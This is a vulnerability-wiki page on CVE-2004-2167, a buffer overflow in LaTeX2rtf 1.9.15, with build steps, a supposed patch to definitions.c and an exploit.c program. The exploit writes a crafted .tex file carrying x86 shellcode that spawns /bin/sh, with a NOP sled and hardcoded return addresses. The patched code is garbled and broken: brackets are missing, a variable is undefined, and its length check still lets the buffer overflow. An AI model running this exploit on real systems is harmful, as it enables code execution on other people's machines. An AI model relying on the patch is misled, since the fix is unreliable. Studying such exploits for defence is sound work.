Loading
0

CVE-2004-2167 LaTeX2rtf 1.9.15缓冲区溢出漏洞

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

INFO

# cve-2004-2167


Code to be tested:

Download CentOS 6.4 Opertaing System

Download the Latex2RTf to the Downloads folder from the below link:
    
    https://sourceforge.net/projects/latex2rtf/files/latex2rtf-win/1.9.15/

cd /home/username/Downloads/

tar -xvf latex2rtf-1.9.15.tar.gz

 cd latex2rtf-1.9.15
 
sudo make 

sudo make install

gcc -o exploit exploit.c 

./exploit > shell_code.tex

./latex2rtf shell_code.tex

Steps for patching:
Download the patch from:

https://github.com/uzzzval/cve-2004-2167/blob/master/definitions_patch.c

cp definitions_patch.c /home/username/Downloads/latex2rtf-1.9.15/
mv definitions_patch.c definitions.c
sudo Make
sudo make install
./latex2rtf shell_code.tex

definitions_patch.c

/* definitions.c - Routines to handle TeX \def and LaTeX \newcommand 

Copyright (C) 2001-2002 The Free Software Foundation

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

This file is available from http://sourceforge.net/projects/latex2rtf/
*/

#include <stdlib.h>
#include <string.h>
#include "main.h"
#include "convert.h"
#include "definitions.h"
#include "parser.h"
#include "funct1.h"
#include "util.h"
#include "cfg.h"
#include "counters.h"
#include "funct1.h"

#define MAX_DEFINITIONS 200
#define MAX_ENVIRONMENTS 20
#define MAX_THEOREMS 20

struct {
	char * name;
	char * opt_param;
	char * def;
	int  params;
} DefinitionsMAX_DEFINITIONS;

struct {
	char * name;
	char * opt_param;
	char * begname;
	char * endname;
	char * begdef;
	char * enddef;
	int  params;
} NewEnvironmentsMAX_ENVIRONMENTS;

struct {
	char * name;
	char * numbered_like;
	char * caption;
	char * within;
} NewTheoremsMAX_THEOREMS;

static int iDefinitionCount = 0;
static int iNewEnvironmentCount = 0;
static int iNewTheoremCount = 0;

static int 
strequal(char *a, char *b)
{
	if (a==NULL || b==NULL)
		return 0;
		
	while (*a && *b && *a==*b) {a++;b++;}
	
	if (*a || *b)
		return 0;
	else
		return 1;
}

/* static void printDefinitions(void)
{
int i=0;
	fprintf(stderr, "\n");
	while(i < iDefinitionCount ) {
		fprintf(stderr, "%d name     =<%s>\n",i, Definitionsi.name);
		fprintf(stderr, "    opt_param=<%s>\n", Definitionsi.opt_param);
		fprintf(stderr, "    def      =<%s>\n", Definitionsi.def);
		fprintf(stderr, "    params   =<%d>\n", Definitionsi.params);
		i++;
	}
}

static void printTheorems(void)
{
int i=0;
	fprintf(stderr, "\n");
	for (i=0; i< iNewTheoremCount; i++) {
		fprintf(stderr, "%d name   =<%s>\n",i, NewTheoremsi.name);
		fprintf(stderr, "    caption    =<%s>\n", NewTheoremsi.caption);
		fprintf(stderr, "    like =<%s>\n", NewTheoremsi.numbered_like);
		fprintf(stderr, "    within    =<%s>\n", NewTheoremsi.within);
	}
}
*/

bool 
isValid(char *macro)
{
	if(strlen(macro_piece) <= 1024)
		return TRUE;
	return FALSE
}

static char *
expandmacro(char *macro, char *opt_param, int params)
/**************************************************************************
     purpose: retrieves and expands a defined macro 
**************************************************************************/
{
	int i=0,param;
	char * args9, *dmacro, *macro_piece, *next_piece, *expanded, buffer1024, *cs;

	if (params<=0) 
		return strdup(macro);
	
	if (opt_param) {
		argsi++ = getBracketParam();
		if (!args0) args0 = strdup(opt_param);
	}

	for (; i<params; i++) {
		argsi = getBraceParam();
		diagnostics(3, "argument #%d <%s>", i+1, argsi);
	}
	
	*buffer='\0';
	expanded = buffer;
	dmacro = strdup(macro);
	macro_piece = dmacro;
	
	/* convert "\csname" to "\" */
	while ((cs=strstr(dmacro, "\\csname")) != NULL) strcpy(cs+1,cs+7);
		
	/* remove "\endcsname" */
	while ((cs=strstr(dmacro, "\\endcsname")) != NULL) strcpy(cs,cs+10);
	
	/* do not use strtok because it may be used elsewhere */
	while (macro_piece && *macro_piece) {

		next_piece = strchr(macro_piece, '#');
		if (next_piece) {
			*next_piece = '\0';
			next_piece++;
			if (*next_piece=='#')
				param = 101;				/* just a flag for below */
			else
				param = *next_piece - '1';
			next_piece++;
		} else
			param = -1;
			
		diagnostics(3, "expandmacro piece =<%s>", macro_piece);
		if (isValid(macro_piece))
			strcpy(expanded,macro_piece);
		else
			diagnostics(WARNING,"Definitions length is larger than expected");
		expanded += strlen(macro_piece);
		if (param > -1) {
			if (param==101) {
				diagnostics(3, "expandmacro ## = #");
				strcpy(expanded,"#");
				expanded ++;
			} else if (param<params) {
				diagnostics(3, "expandmacro arg =<%s>", argsparam);
				strcpy(expanded,argsparam);
				expanded += strlen(argsparam);
			} else
				diagnostics(WARNING,"confusing definition in macro=<%s>", macro);
		}
		
		macro_piece = next_piece;
	}
	
	
/*	ConvertString(buffer);*/
	for (i=0; i< params; i++)
		if (argsi) free(argsi);

	if (dmacro) free(dmacro);

	diagnostics(3, "expandmacro expanded=<%s>", buffer);
	return strdup(buffer);
}

int
maybeDefinition(char * s, size_t n)
/**************************************************************************
     purpose: checks to see if a named TeX definition possibly exists
     returns: the array index of the named TeX definition
**************************************************************************/
{
	int i;
	
	if (n==0) return TRUE;
	
	for (i=0; i<iDefinitionCount; i++) {
		diagnostics(6, "seeking=<%s>, i=%d, current=<%s>", s,i,Definitionsi.name);
		if (strncmp(s,Definitionsi.name,n) == 0) 
			return TRUE;
	}

	return FALSE;
}

int
existsDefinition(char * s)
/**************************************************************************
     purpose: checks to see if a named TeX definition exists
     returns: the array index of the named TeX definition
**************************************************************************/
{
	int i;
	
	for (i=0; i<iDefinitionCount; i++) {
		diagnostics(6, "seeking=<%s>, i=%d, current=<%s>", s,i,Definitionsi.name);
		if (strcmp(s,Definitionsi.name) == 0) break;
	}

	if (i==iDefinitionCount) 
		return -1;
	else
		return i;
}

void
newDefinition(char *name, char * opt_param, char *def, int params)
/**************************************************************************
     purpose: allocates and initializes a named TeX definition 
              name should not begin with a '\'  for example to
              define \hd, name = "hd"
**************************************************************************/
{
	diagnostics(3,"Adding macro <%s>=<%s>",name,def);

	if (strcmp(name,"LaTeX")==0) return;
	if (strcmp(name,"TeX")==0) return;
	if (strcmp(name,"AmSTeX")==0) return;
	if (strcmp(name,"BibTex")==0) return;
	if (strcmp(name,"LaTeXe")==0) return;
	if (strcmp(name,"AmSLaTeX")==0) return;
	
	if (iDefinitionCount==MAX_DEFINITIONS){
		diagnostics(WARNING,"Too many definitions, ignoring %s", name);
		return;
	}
	
	DefinitionsiDefinitionCount.params=params; 
	
	DefinitionsiDefinitionCount.name=strdup(name); 
	
	if (DefinitionsiDefinitionCount.name==NULL) {
		diagnostics(ERROR, "\nCannot allocate name for definition \\%s\n", name);
	}
	
	if (opt_param) {
		DefinitionsiDefinitionCount.opt_param=strdup(opt_param); 

		if (DefinitionsiDefinitionCount.opt_param==NULL) {
			diagnostics(ERROR, "\nCannot allocate opt_param for definition \\%s\n", name);
		}
	}
	else {
	  DefinitionsiDefinitionCount.opt_param=NULL;
	}

	DefinitionsiDefinitionCount.def=strdup(def); 

	if (DefinitionsiDefinitionCount.def==NULL) {
		diagnostics(ERROR, "\nCannot allocate def for definition \\%s\n", name);
	}
	
	iDefinitionCount++;
	diagnostics(3,"Successfully added macro #%d",iDefinitionCount);
}

void
renewDefinition(char * name, char * opt_param, char * def, int params)
/**************************************************************************
     purpose: allocates (if necessary) and sets a named TeX definition 
**************************************************************************/
{
	int i;

	diagnostics(3,"renewDefinition seeking <%s>\n",name);
	i = existsDefinition(name);
	
	if (i<0) {
		newDefinition(name, opt_param, def, params);
		diagnostics(WARNING, "No existing definition for \\%s", name);
		
	} else {
		free(Definitionsi.def);
		if (Definitionsi.opt_param) free(Definitionsi.opt_param); 
		Definitionsi.params = params;
		if (opt_param) {
			Definitionsi.opt_param=strdup(opt_param); 
			if (Definitionsi.opt_param==NULL) {
				diagnostics(ERROR, "\nCannot allocate opt_param for definition \\%s\n", name);
			}
		}
		else {
			Definitionsi.opt_param=NULL;
		}

		Definitionsi.def = strdup(def);
		if (Definitionsi.def==NULL) {
			diagnostics(WARNING, "\nCannot allocate def for definition \\%s\n", name);
			exit(1);
		}
	}
}

char *
expandDefinition(int thedef)
/**************************************************************************
     purpose: retrieves and expands a \newcommand macro 
**************************************************************************/
{

	if (thedef<0 || thedef>=iDefinitionCount)
		return NULL;
	
	diagnostics(3, "expandDefinition name     =<%s>", Definitionsthedef.name);
	diagnostics(3, "expandDefinition opt_param=<%s>", 
	        (Definitionsthedef.opt_param) ? Definitionsthedef.opt_param : "");
	diagnostics(3, "expandDefinition def      =<%s>", Definitionsthedef.def);
	diagnostics(3, "expandDefinition params   =<%d>", Definitionsthedef.params);

	return expandmacro(Definitionsthedef.def, Definitionsthedef.opt_param, Definitionsthedef.params);
}

int
existsEnvironment(char * s)
/**************************************************************************
     purpose: checks to see if a user created environment exists
     returns: the array index of the \newenvironment
**************************************************************************/
{
	int i=0;
	size_t n;
	
	n = strlen(s);
	while(i < iNewEnvironmentCount && !strequal(s,NewEnvironmentsi.name)) {
		diagnostics(4, "e seeking=<%s>, i=%d, current=<%s>", s,i,NewEnvironmentsi.name);
		i++;
	}

	if (i==iNewEnvironmentCount) 
		return -1;
	else
		return i;
}

int
maybeEnvironment(char * s, size_t n)
/**************************************************************************
     purpose: checks to see if a named TeX environment possibly exists
     returns: the array index of the named TeX definition
**************************************************************************/
{
	int i;
	
	if (n==0) return TRUE;
	
	for (i=0; i<iNewEnvironmentCount; i++) {
		diagnostics(6, "seeking=<%s>, i=%d, current=<%s>", s,i,NewEnvironmentsi.name);
		if (strncmp(s,NewEnvironmentsi.begname,n) == 0 || 
		    strncmp(s,NewEnvironmentsi.endname,n) == 0) {
		    	diagnostics(6,"possible");
		   		return TRUE;
		}
	}

	diagnostics(6,"not possible");
	return FALSE;
}

void
newEnvironment(char *name, char *opt_param, char *begdef, char *enddef, int params)
/**************************************************************************
     purpose: allocates and initializes a \newenvironment 
              name should not begin with a '\' 
**************************************************************************/
{
	if (iNewEnvironmentCount==MAX_ENVIRONMENTS){
		diagnostics(WARNING,"Too many newenvironments, ignoring %s", name);
		return;
	}
	
	NewEnvironmentsiNewEnvironmentCount.name=strdup(name); 
	NewEnvironmentsiNewEnvironmentCount.begname=strdup_together("\\begin{",name); 
	NewEnvironmentsiNewEnvironmentCount.endname=strdup_together("\\end{",name); 
	NewEnvironmentsiNewEnvironmentCount.begdef=strdup(begdef); 
	NewEnvironmentsiNewEnvironmentCount.enddef=strdup(enddef); 
	NewEnvironmentsiNewEnvironmentCount.params=params; 

	if (opt_param) {
		NewEnvironmentsiNewEnvironmentCount.opt_param=strdup(opt_param); 

		if (NewEnvironmentsiNewEnvironmentCount.opt_param==NULL) {
			diagnostics(ERROR, "\nCannot allocate opt_param for \\newenvironment{%s}", name);
		}
	}
	else {
	  NewEnvironmentsiNewEnvironmentCount.opt_param=NULL;
	}


	if (NewEnvironmentsiNewEnvironmentCount.name   ==NULL ||
		NewEnvironmentsiNewEnvironmentCount.begdef ==NULL ||
		NewEnvironmentsiNewEnvironmentCount.begname==NULL ||
		NewEnvironmentsiNewEnvironmentCount.endname==NULL ||
	    NewEnvironmentsiNewEnvironmentCount.enddef ==NULL) {
		diagnostics(ERROR, "Cannot allocate memory for \\newenvironment{%s}", name);
	}
	
	iNewEnvironmentCount++;
}

void
renewEnvironment(char *name, char *opt_param, char *begdef, char *enddef, int params)
/**************************************************************************
     purpose: allocates and initializes a \renewenvironment 
**************************************************************************/
{
	int i;
	i = existsEnvironment(name);
	
	if (i<0) {
		newEnvironment(name, opt_param, begdef, enddef, params);
		diagnostics(WARNING, "No existing \\newevironment{%s}", name);
		
	} else {
		free(NewEnvironmentsi.begdef);
		free(NewEnvironmentsi.enddef);
		free(NewEnvironmentsi.begname);
		free(NewEnvironmentsi.endname);
		if (NewEnvironmentsi.opt_param) free(NewEnvironmentsi.opt_param); 
		if (opt_param) {
			NewEnvironmentsi.opt_param=strdup(opt_param); 
			if (NewEnvironmentsi.opt_param==NULL) {
				diagnostics(ERROR, "\nCannot allocate opt_param for \\renewenvironment{%s}", name);
			}
		}
		else {
			NewEnvironmentsi.opt_param=NULL;
		}
		NewEnvironmentsi.params = params;
		NewEnvironmentsi.begdef = strdup(begdef);
		NewEnvironmentsi.enddef = strdup(enddef);
		if (NewEnvironmentsi.begdef==NULL || NewEnvironmentsi.enddef==NULL) {
			diagnostics(ERROR, "Cannot allocate memory for \\renewenvironment{%s}", name);
		}
	}
}

char *
expandEnvironment(int thedef, int code)
/**************************************************************************
     purpose: retrieves and expands a \newenvironment 
**************************************************************************/
{
	if (thedef<0 || thedef>=iNewEnvironmentCount)
		return NULL;
	
	if (code == CMD_BEGIN) {
	
		diagnostics(3, "\\begin{%s} <%s>", NewEnvironmentsthedef.name, \
										   NewEnvironmentsthedef.begdef);
		return expandmacro(NewEnvironmentsthedef.begdef, 
				   NewEnvironmentsthedef.opt_param, 
				   NewEnvironmentsthedef.params);
	
	} else {

		diagnostics(3, "\\end{%s} <%s>", NewEnvironmentsthedef.name, \
										 NewEnvironmentsthedef.enddef);
		return expandmacro(NewEnvironmentsthedef.enddef, NULL, 0);
	}
}

void
newTheorem(char *name, char *caption, char *numbered_like, char *within)
/**************************************************************************
     purpose: allocates and initializes a \newtheorem 
**************************************************************************/
{
	if (iNewTheoremCount==MAX_THEOREMS){
		diagnostics(WARNING,"Too many \\newtheorems, ignoring %s", name);
		return;
	}
	
	NewTheoremsiNewTheoremCount.name=strdup(name); 
	
	NewTheoremsiNewTheoremCount.caption=strdup(caption); 

	if (numbered_like)
		NewTheoremsiNewTheoremCount.numbered_like=strdup(numbered_like);
	else 
		NewTheoremsiNewTheoremCount.numbered_like=strdup(name);

	if (within)
		NewTheoremsiNewTheoremCount.within=strdup(within);
	else 
		NewTheoremsiNewTheoremCount.within=NULL;
		
	setCounter(NewTheoremsiNewTheoremCount.numbered_like,0);

	iNewTheoremCount++;
}

int
existsTheorem(char * s)
/**************************************************************************
     purpose: checks to see if a user created environment exists
     returns: the array index of the \newtheorem
**************************************************************************/
{
	int i=0;
	
	while(i < iNewTheoremCount && !strequal(s,NewTheoremsi.name)) {
		diagnostics(6, "seeking=<%s>, i=%d, current=<%s>", s,i,NewTheoremsi.name);
		i++;
	}

	if (i==iNewTheoremCount) 
		return -1;
	else
		return i;
}

char *
expandTheorem(int i, char *option)
/**************************************************************************
     purpose: retrieves and expands a \newtheorem into a string
**************************************************************************/
{	
	char s128, *num;
	int ithm;
	
	if (i<0 || i>=iNewTheoremCount)
		return strdup("");
	
	incrementCounter(NewTheoremsi.numbered_like);
	ithm = getCounter(NewTheoremsi.numbered_like);
	
	if (NewTheoremsi.within) {
		num = FormatUnitNumber(NewTheoremsi.within);
		if (option)
			snprintf(s,128,"%s %s.%d (%s)", NewTheoremsi.caption, num, ithm, option);
		else
			snprintf(s,128,"%s %s.%d", NewTheoremsi.caption, num, ithm);
		free(num);
	} else {
		if (option)
			snprintf(s,128,"%s %d (%s)", NewTheoremsi.caption, ithm, option);
		else
			snprintf(s,128,"%s %d", NewTheoremsi.caption, ithm);
	}
			
	return strdup(s);
}

void
resetTheoremCounter(char *unit)
/**************************************************************************
     purpose: resets theorem counters based on unit
**************************************************************************/
{	
	int i;
	
	for (i=0; i<iNewTheoremCount; i++) {
		if (strequal(unit,NewTheoremsi.within))
			setCounter(NewTheoremsi.numbered_like, 0);
	}
}


exploit.c

/* The below file has been creeated for prepearing the .tex file which will be helpful in launching the exploit. */
//Global Variables
char values = {
   //Shell Code responsible for the exploit
   0x31, 0xc0, 0xb0, 0x46, 0x31, 0xdb, 0x31, 0xc9, 0xcd, 0x80, 0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0xb0, 0x0b, 0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x80, 0xe8, 0xe5, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68
} ;

int main(){
 
  int i;

  printf("\\def\\row#1{");

  //Firstly, adding all As in the definition
  for(i=0;i<1064;i++)
    putchar('A');

  //Based on the memory values obtained after debugging, args corresponds to

  for (i = 0;i < 8;++i) {
    putchar(0x40); 
    putchar(0x73); 
    putchar(0x08); 
    putchar(0x08);
  }
   
  putchar(0x94); 
  putchar(0xf0); 
  putchar(0xff); 
  putchar(0xbf);

  for (i = 0;i < 2;++i) {
    putchar(0xa0); 
    putchar(0x9a); 
    putchar(0x08); 
    putchar(0x08);
  }

  //For hitting the smasher, we will have to add the following values which we got from the dump
  for (i = 0;i < 5;++i) {
    putchar(0x94); 
    putchar(0xf0); 
    putchar(0xff); 
    putchar(0xbf);
  }
  
  //Adding all the NOPs
  for (i = 0;i < 256;++i)
    putchar(0x90);

  putchar(0xeb); 
  putchar(sizeof(values));

  for (i = 0;i < sizeof values;++i)
    putchar(valuesi);

  putchar(0xe8);

  putchar(251 - sizeof values); 

  putchar(0xff); 
  putchar(0xff); 
  putchar(0xff);

  printf("}\n");
  printf("\\begin{document}\n");
  printf("\\row a\n");
  printf("\\end{document}\n");
}

免费、自由、人人可编辑的漏洞库